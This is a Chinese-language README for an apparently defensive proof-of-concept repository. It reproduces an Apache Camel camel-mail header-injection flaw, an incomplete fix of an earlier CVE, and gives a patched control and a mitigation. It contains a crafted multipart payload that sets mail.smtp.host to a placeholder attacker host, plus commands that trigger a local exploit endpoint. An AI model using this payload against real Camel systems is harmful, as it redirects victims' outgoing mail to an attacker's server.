MimeMultipart 头注入(mail.smtp*)针对 Apache Camel 漏洞的可运行概念验证复现程序:camel-mail 的 MimeMultipart 数据格式在反序列化时使用普通的 DefaultHeaderFilterStrategy 将消息头映射到 Exchange 上,而该策略不会剥离 mail.smtp. / mail.smtps. 命名空间。CVE-2026-46584 封堵了邮件头未经过滤即到达 Exchange 的路径,但此数据格式仍保留了一条未过滤的路径:这些头名称不带 Camel 前缀(因此消费者的头过滤器也不会拦截它们),而 mail.smtp 命名空间控制着下游邮件生产者如何连接和发送。因此,一个外部多部分消息发送者可以注入 JavaMail 会话属性并重定向邮件连接(CWE-20)。这属于 CVE-2026-46584 的不完整修复,而非新的缺陷类别。
| 运行时 | 目录 | 技术栈 |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-mail 4.22.0(受影响;修复版本 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.39.0 + camel-quarkus-mail(Camel 4.22.0,受影响;修复对照 CQ 3.40.0 / Camel 4.22.1) |
两个模块均针对真实的 MimeMultipartDataFormat 演示了受影响和修复后的行为。
驱动程序反序列化一条攻击者控制的多部分消息(内联头模式,与修复自身的 MimeMultipartDataFormatTest 一致),该消息将 JavaMail 会话属性作为 MIME 头携带,然后报告哪些属性落到了 Exchange 上:
mail.smtp.host: attacker-smtp.example
mail.smtp.port: 2525
mail.smtps.auth: false
X-Normal: keep-me <- an unrelated header, should always survive
Content-Type: text/plain
Body text
mail.smtp.host、mail.smtp.port、mail.smtps.auth 均能在反序列化后保留并成为 Exchange 头——下游邮件生产者会读取它们,因此发送方可以重定向邮件的发送目标。mail.smtp.* 命名空间在反序列化时被过滤掉(通过 MailHeaderFilterStrategy),而无关的 X-Normal 头则被保留。# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: mail.smtp* injected = true; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85314-mail-mime-header-injection-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.22.0): mail.smtp* injected = true
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false
| 属性 | 值 |
|---|---|
| 组件 | camel-mail(MimeMultipartDataFormat,unmarshal) |
| CWE | CWE-20(输入验证不当) |
| 严重程度 | 中 |
| 攻击向量 | 外部发送者的 multipart 消息携带 mail.smtp.* MIME 头;unmarshal 时将其映射到 Exchange 上 |
| 影响 | 注入的 JavaMail 会话属性会引导下游邮件生产者连接和发送的方式与位置 |
| 受影响版本 | 从 4.0.0 起至 4.18.5 之前,从 4.19.0 起至 4.22.1 之前 |
| 修复版本 | 4.18.5、4.22.1、4.23.0 |
| JIRA | CAMEL-24419 |
| 相关 | CVE-2026-46584 的不完整修复 |
| 致谢 | Claude Security Scan Tool |
公告:https://camel.apache.org/security/CVE-2026-85314.html
Quarkus 受影响模块基于 CQ 3.39.0(Camel 4.22.0)构建。修复后的控制版本为 CQ 3.40.0(Camel 4.22.1)。
MimeMultipartDataFormat 现在使用 MailHeaderFilterStrategy 而非
DefaultHeaderFilterStrategy,因此在 unmarshal 时会像邮件消费者在入站侧那样过滤 mail.smtp. / mail.smtps. 命名空间(CAMEL-23522)——从而关闭了 CVE-2026-46584 遗留的路径。
在数据格式之后、任何邮件生产者之前,使用 removeHeaders("mail.smtp*") 剥离该命名空间。
本仓库出于教育和防御目的发布:帮助 Apache Camel 用户理解该漏洞、验证自身是否受影响,并确认升级可解决该问题。该 multipart 消息是进程内的良性测试样本;attacker-smtp.example 是占位符,不会发送任何邮件。请勿将本材料用于您不拥有或运营的系统。